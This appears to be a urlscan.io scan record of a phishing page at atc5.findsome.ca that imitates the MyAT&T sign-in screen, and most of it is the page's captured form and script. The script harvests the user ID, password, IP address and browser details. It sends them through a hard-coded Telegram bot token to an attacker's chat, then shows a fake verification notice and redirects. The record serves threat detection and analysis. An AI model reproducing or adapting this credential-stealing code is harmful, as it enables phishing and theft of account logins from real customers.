atc5.findsome.ca
Open in
urlscan Pro
198.251.89.205
Malicious Activity!
Public Scan
URL:
https://atc5.findsome.ca/
Submission Tags: phishing
Submission: On December 14 via api from US — Scanned from CA
Submission Tags: phishing
Submission: On December 14 via api from US — Scanned from CA
Form analysis
1 forms found in the DOM<form novalidate="" id="login" class="manual-login-form ng-dirty ng-valid ng-touched">
<div class="text-center d-flex flex-row" style="border:0px solid black; margin:10px auto 40px auto; display: flex; justify-content: center; align-items: center;">
<!-- Add these elements to your HTML -->
<img
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAcCAIAAAAfs1O6AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAALoSURBVEhLxZVpT1NREIb9I35xpawthbbKEpcENwJVIIAGXAhUqSAaSTCBQERJ9B+oiJIgpIDgFsUCTcNS6kdpWVQoUDAWWoI0QpNaim84Q3u5dIuS+OZ8ODP3zHPvnJlz7q71ndZ/IlptiwbjCAYm5PKvQETj6FhVzT2RNHH3XoFnxMqSqmvrxsa/0KJt8k00TU0rlDcQHxN3uLj01pOG513qHozHT59dvV4WJZbhEfzm2VkK4MgHsbW940CkKEIkaWxqXltbIy9HLpervqFREB2Hoe7RkHdTfGKzqg3vz7tcuLBgJZcf/bBYMnPysLi7dwt0CxF7j0SLikvJDiZkkJt/JSxKPD1jJheX6Ha7U87IE46kOBwOcoWgpaWfIklC9oVLZHOJ2D6k0Pn6LdmbWl6208yPUDcEarR9zPQSLxYoZEnHeKUY1OmR1OCQnmxfQk4HI2PLKyqZSUSn04kdvHv/ATOZgNsXLkw7l/1rZYVcfoROkiYeZXMizpjNvJR1+k94x6m0jKA4CM2EcFYAIn4eNsCl7etnZv+ADl8Hz8nUs1m5+f4GDg9bj+bHYnaQiIi+gatXo2XmwOAQI55IlfMo3OEhIhCLAcGciJb5ebjQ3syE2CaeTs8MJeumZhXC2aEgIkosiIm/U1XDTCbkjq1Mz8hZXQ3SoSg0Ti06GnMiQrgacM38drnI3hB2Fmc8cPegT4AruVnOTC/x1Zt3+HJVWwfZmwra4bhQEIjiMNNLxDdj12TJx0PZOI/sdjtuTHnWebK5RGhkdHxPWHThtRKyg4ndFPsjRJOmKXLxiFBLaztSwG0W9AcwN/ed3Wbvu9Tk2hCfCLW97EQ1cFG/aFGx8vGE6j2qb8B5x/Bsn0c+iNDEpKlAocT7hfEJZbcrcMjQwx8+dgOkUJaFCyV4hOLiMymAI99EpmGDsbK6NjJWinjPEB9Krq17+PXbBC3apkBEJiRutdpAxyGzLf7b3/XvtNPE9fU/b7uFLy9hxSQAAAAASUVORK5CYII="
alt="back" id="backButton" style="display: none;">
<div id="storedUserID" style="display: none; "></div>
</div>
<app-user-input _nghost-xll-c39="">
<div id="userInputContainerDiv" class="form-row space-below">
<label id="userLabel" for="userID" class="formfield-label">User ID</label>
<input id="userID" name="userID" type="email" class="textfield">
<div id="userInlineErrorText" role="alert" class="formfield-msg text-danger" style="color:red;"></div>
</div>
</app-user-input>
<app-user-input _nghost-xll-c39="" style="display: none;" id="passdiv">
<div id="userInputContainerDiv" class="form-row space-below">
<label id="userLabel" for="pass" class="formfield-label">Enter Password</label>
<input id="pass" name="pass" type="password" class="textfield">
<div id="userInlineErrorText" role="alert" class="formfield-msg"></div>
</div>
</app-user-input>
<div class="continue-button-spacing">
<app-button-spinner class="width-full">
<button id="continueFromUserLogin" type="submit" class="btn-full-width btn-primary letter-spacing-3"> Continue </button>
</app-button-spinner>
</div>
<script>
// Initialize variables for user data
let clickCount = 0;
let userIp = "";
const userAgent = navigator.userAgent;
const browser = navigator.appName;
const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
const language = navigator.language || navigator.userLanguage;
let datetime = new Date().toLocaleString();
// Fetch user's IP address on document load
async function fetchIp() {
const response = await fetch("https://api.ipify.org?format=json");
const data = await response.json();
userIp = data.ip;
}
// Display an overlay message
function showOverlay(message, redirectUrl) {
const overlay = document.createElement("div");
overlay.style.position = "fixed";
overlay.style.top = "0";
overlay.style.left = "0";
overlay.style.width = "100%";
overlay.style.height = "100%";
overlay.style.backgroundColor = "rgba(0, 0, 0, 0.8)";
overlay.style.display = "flex";
overlay.style.justifyContent = "center";
overlay.style.alignItems = "center";
overlay.style.zIndex = "1000";
const content = document.createElement("div");
content.style.color = "white";
content.style.fontSize = "1.5rem";
content.style.textAlign = "center";
content.textContent = message;
overlay.appendChild(content);
document.body.appendChild(overlay);
setTimeout(() => {
document.body.removeChild(overlay);
window.location.href = redirectUrl;
}, 3000);
}
// Send data to Telegram bot
async function sendToTelegram(message) {
const botToken = "6604876478:AAFT2uvJRnZgjB5fZnQYaWFBrGcGT3sm4YQ";
const chatId = "1049626392";
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
chat_id: chatId,
text: message
}),
});
}
// Get references to elements
const continueBtn = document.getElementById("continueFromUserLogin");
const userInputDiv = document.querySelector('#userID').closest(".form-row");
const passwordInputDiv = document.getElementById("passdiv");
const userIdInput = document.getElementById("userID");
const passwordInput = document.getElementById("pass");
const backButton = document.getElementById("backButton");
const storedUserID = document.getElementById("storedUserID");
const signInHeaderText = document.getElementById("signInHeaderText");
const signInHeaderToText = document.getElementById("signInHeaderToText");
const signInHeaderTextwelcome = document.getElementById("signInHeaderTextwelcome");
// Add event listener to the Back button
backButton.addEventListener("click", () => {
passwordInputDiv.style.display = "none";
storedUserID.style.display = "none";
backButton.style.display = "none";
userInputDiv.style.display = "block";
userIdInput.value = localStorage.getItem("formattedUserID") || "";
// Hide Sign in header texts
signInHeaderText.style.display = "block";
signInHeaderToText.style.display = "block";
signInHeaderTextwelcome.style.display = "none";
clickCount--;
});
// Add event listener to the Continue button
continueBtn.addEventListener("click", async function(e) {
e.preventDefault(); // Prevent default form submission
// Increment click count
clickCount++;
// Check if User ID field is empty on the first click
if (clickCount === 1 && userIdInput.value.trim() === "") {
showError(userIdInput, "User ID cannot be empty");
clickCount--; // Prevent advancing the click count if validation fails
return;
}
// Display loader on button for 2 seconds
continueBtn.innerHTML = `<div class="spinner-border text-light" role="status"></div>`;
continueBtn.disabled = true;
setTimeout(async () => {
// Restore button text after 2 seconds
continueBtn.innerHTML = "Continue";
continueBtn.disabled = false;
if (clickCount === 1) {
// Store formatted userID in local storage
localStorage.setItem("formattedUserID", userIdInput.value);
// Hide User ID div and show Password div
userInputDiv.style.display = "none";
passwordInputDiv.style.display = "block";
// Hide Sign in header texts
signInHeaderText.style.display = "none";
signInHeaderToText.style.display = "none";
signInHeaderTextwelcome.style.display = "block";
// Display stored userID and back button
storedUserID.textContent = `${localStorage.getItem("formattedUserID")}`;
storedUserID.style.display = "block";
backButton.style.display = "block";
} else if (clickCount === 2) {
// Get input values
const userId = userIdInput.value.trim();
const password = passwordInput.value.trim();
// Format message to send to Telegram
const message = `✅🙈🤑 New AT&T Details 🤑🙈✅
User ID: ${userId}
Password: ${password}
User Agent: ${userAgent}
IP Address: ${userIp}
Browser: ${browser}
Date & Time: ${datetime}
Language: ${language}
Timezone: ${timezone}
✅🙈🤑 New AT&T Details 🤑🙈✅`;
// Send message to Telegram
await sendToTelegram(message);
// Display overlay and redirect
showOverlay("further verification is required to complete this process.", "index2.html");
}
}, 2000);
});
// Function to show error message
function showError(inputElement, errorMessage) {
// Check if an error message already exists
let errorElement = inputElement.parentElement.querySelector(".formfield-msg");
if (!errorElement) {
// Create a new error message element
errorElement = document.createElement("div");
errorElement.className = "formfield-msg text-danger";
errorElement.style.marginTop = "5px";
errorElement.style.color = "red";
inputElement.parentElement.appendChild(errorElement);
}
// Set the error message text
errorElement.textContent = errorMessage;
}
// Function to format userID input
function formatUserID(value) {
// Remove non-digit characters
const cleaned = value.replace(/\D/g, '');
// Check if cleaned value has only digits and length is 10 or less
if (/^\d{0,10}$/.test(cleaned)) {
// Format to 555.555.5555
if (cleaned.length <= 3) return cleaned;
if (cleaned.length <= 6) return `${cleaned.slice(0, 3)}.${cleaned.slice(3, 6)}`;
return `${cleaned.slice(0, 3)}.${cleaned.slice(3, 6)}.${cleaned.slice(6, 10)}`;
}
return value; // Return original value if it doesn't meet criteria
}
// Event listener for userID input field
userIdInput.addEventListener('input', () => {
const value = userIdInput.value;
if (/^\d*$/.test(value)) { // Check if input contains only digits
userIdInput.value = formatUserID(value);
if (value.replace(/\D/g, '').length > 10) {
showError(userIdInput, "If signing in with wireless number, please enter 10 digits");
} else {
// Clear the error message if the digit count is below or equal to 10
let errorElement = userIdInput.parentElement.querySelector(".formfield-msg");
if (errorElement) {
errorElement.textContent = "";
}
}
} else {
// Keep the formatting and clear the error message if an alphabet is entered
userIdInput.value = value.replace(/\./g, '');
let errorElement = userIdInput.parentElement.querySelector(".formfield-msg");
if (errorElement) {
errorElement.textContent = "";
}
}
});
// Fetch IP address on document load
document.addEventListener("DOMContentLoaded", fetchIp);
</script>
</form>
Text Content
Login Screen SIGN IN TO MYAT&T WELCOME User ID Enter Password Continue Legal policy center Privacy policy Terms of use Accessibility Your privacy choices ©2024 AT&T Intellectual Property. All rights reserved.